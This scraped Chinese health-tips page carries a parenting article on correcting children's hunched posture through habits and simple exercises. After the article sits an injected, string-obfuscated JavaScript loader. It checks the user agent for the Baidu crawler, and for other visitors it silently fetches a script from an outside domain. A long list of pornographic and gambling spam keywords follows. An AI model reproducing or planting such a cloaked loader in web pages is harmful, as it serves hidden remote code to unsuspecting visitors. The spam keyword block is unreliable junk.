當前位置:首頁 > 母嬰 > 育兒知識 > 正文

小孩含胸駝背怎么辦呢

2017-04-10 08:07:25  來源:360常識網   熱度:
導語:日常生活當中每一位家長都希望自己的孩子能夠擁有挺拔的身軀,一般來說很多小孩子,如果小的時候養成的不良習慣,那么長大之后孩子的姿勢就

日常生活當中每一位家長都希望自己的孩子能夠擁有挺拔的身軀,一般來說很多小孩子,如果小的時候養成的不良習慣,那么長大之后孩子的姿勢就會出現駝背脊柱側彎,從而造成無法矯正,對一般這樣的形象,讓很多家長非常頭疼不知道該怎么辦,今天就要為大家介紹一下小孩含胸駝背怎么辦呢!

俗話說:“大路不走草成窩,坐立不正背成駝。”年輕人處于長身體階段,骨骼也正處在逐漸完成骨化和骨連結的時期,如果不注意鍛煉身體和克服不良生活習慣,如坐立姿勢經常是弓腰駝背就容易影響脊柱發育,

甚至發生含胸駝背畸形,不僅影響體態美,而且由于脊柱的彈性降低,工作時易出現疲勞及體力下降等情況。據某地對3668名青少年的脊柱檢查發現,7.1%的青少年不同程度地有含胸駝背畸形。可見,含胸駝背乃是目前青少年中常見的脊柱畸形。

青少年含胸駝背的脊柱畸形原因很多,除了某些脊柱結核和佝樓病所致外,大都是由于不良生活習慣造成的。如坐立時經常弓腰駝背,半躺半坐看書,寫字時幾乎是全身趴在桌子上,歪著頭斜著肩,日子久了,脊椎骨就會因受力不平衡而發生脊柱胸段過度后凸,即含胸駝背畸形。

然而,由于年輕人的體形尚未定型,且含胸駝背大部分是不良生活習慣所致。因此,只要及時糾正不良生活習慣,加強有關肌肉群的鍛煉,大都是能夠矯正的。

(1)糾正不良生活習慣 首先我們要認識到不良姿勢是導致含胸駝背的主要原因,預防含胸駝背要從小開始,從日常生活中做起,自幼養成正確的閱讀、書寫姿勢,平時不論吃飯還是看電視,都應保持直腰挺胸的姿勢,使之成為一種習慣。

已有含胸駝背的青少年。平時看書、看電視不要坐在靠背椅或沙發上,應坐在高低適中的方凳上,兩下肢膝、髖關節呈90度角,保持直腰挺胸抬頭,堅持一段時間后就能逐步地達到矯正含胸駝背的目的。

(2)挺胸法 將兩手平放在窗臺或講臺上,手心向下,兩腿伸直,然后彎腰挺胸,使上身和腿成直角,上身盡量下壓。背部后凸明顯的,可請他人將手放在背上加壓。鍛煉時注意收腹,膝關節不可彎曲。

做完上述動作后坐在椅子上,兩腿分開與肩同寬,膝關節屈曲90度,使大腿和小腿垂直,上身挺直,兩手平放在桌子上與肩同寬,肘關節屈曲90度,使上臂與前臂垂直,然后胸部盡量往前挺,每次持續3分鐘。

以上的文章當中為大家介紹了小孩含胸駝背怎么辦,其實駝背大多數和生活當中的不良習慣有著很大的關系,一般來說想要糾正孩子的駝背習慣,就要正確讓孩子認識到什么姿勢是正確的,什么坐姿會造成什么樣的后果?所以家長朋友們還是需要保持一定的耐心。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
日本一区二区三区精品国产| 韩日美无码精品无码| 亚洲国产精品成人网址天堂| 国产天天综合永久精品日| 国产成人精品免费午夜app| 久久精品中文字幕大胸| 国产精品久久久久久久久久免费| 免费精品久久天干天干| 精品久久久久久无码人妻中文字幕| 中文国产成人精品久久水| 国产私拍福利精品视频推出| 久久久精品久久久久特色影视| 国产精品乳摇在线播放| 国产午夜精品无码| 国产精品亚洲一区二区三区久久| 日产精品一线二线三线芒果| 日韩人妻无码精品一专区| 国产在线观看91精品一区| 中文精品久久久久国产网址| 亚洲精品tv久久久久| 99re最新这里只有精品| 国精品午夜福利视频不卡 | 精品国产污污免费网站| 久9re热视频这里只有精品| 久久66热这里只会有精品 | 国产精品成久久久久三级| 日韩精品真人荷官无码| 精品视频在线观看你懂的一区| 久久精品国产亚洲av天美18| 精品无码人妻一区二区三区| 日产精品一线二线三线京东| 国产精品成人免费综合| 中文国产成人精品久久不卡| 久久96国产精品| 久久青青草原精品国产不卡| 国产精品自产拍在线网站| 18国产精品白浆在线观看免费| 亚洲av午夜福利精品一区 | 亚洲精品无码永久在线观看你懂的 | 久久精品国产99国产精2020丨| 中国精品一级毛片免费播放|